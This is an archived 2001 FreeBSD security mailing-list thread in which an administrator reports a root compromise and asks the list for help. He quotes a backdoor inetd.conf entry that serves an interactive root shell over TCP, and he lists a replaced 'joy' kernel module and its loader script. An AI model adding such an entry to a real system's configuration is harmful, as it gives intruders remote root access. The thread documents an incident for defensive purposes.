From owner-freebsd-security  Thu Nov  1  8:35:44 2001
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Date: Thu, 1 Nov 2001 11:35:40 -0500 (EST)
From: Ralph Huntington <rjh@mohawk.net>
To: <freebsd-security@FreeBSD.ORG>
Subject: Re: strange inetd.conf entry
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Much thanks to all who replied. The joy module was replaced by a hacked
version. I'm not sure what the hacked version does, but the box has been
reloaded. 	-=r=-

On Thu, 1 Nov 2001, Ralph Huntington wrote:

> I did find this kernel module, but I have no idea what it is. I presume at
> this point that the root shell acquired through inetd was for the purpose
> of loading this module. Anyone recognize it? Anyone want it for analysis?
>
> hogan@klink:/etc# ll /usr/bin/joy
> -r-xr-xr-x  1 root  wheel  100 Jul  4 12:05 /usr/bin/joy
>
> hogan@klink:/etc# cat /usr/bin/joy
> #!/bin/sh
> # $FreeBSD: src/sys/modules/joy/joy.sh,v 1.5 1999/08/28 00:47:23 peter Exp $
>
> kldload joy
>
>
> hogan@klink:/etc# ll /modules/joy.ko
> -r-xr-xr-x  1 root  wheel  6755 Jul  4 12:05 /modules/joy.ko
>
>
> On Thu, 1 Nov 2001, Ralph Huntington wrote:
>
> > I have that sinking feeling. I discovered this line at the end of
> > inetd.conf on one of our servers:
> >
> > dlip        stream  tcp     nowait  root    /bin/sh sh -i
> >
> > Looks like a root compromise. Sure enough, telnet'ing to the dlip port
> > provides what *looks* like a root shell, but I don't seem to be able to do
> > anything with it. Pretty mysterious.
> >
> > Can anyone offer a clue? Thanks in advance,	Ralph
> >
> >
> >
> >
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> >
>
>
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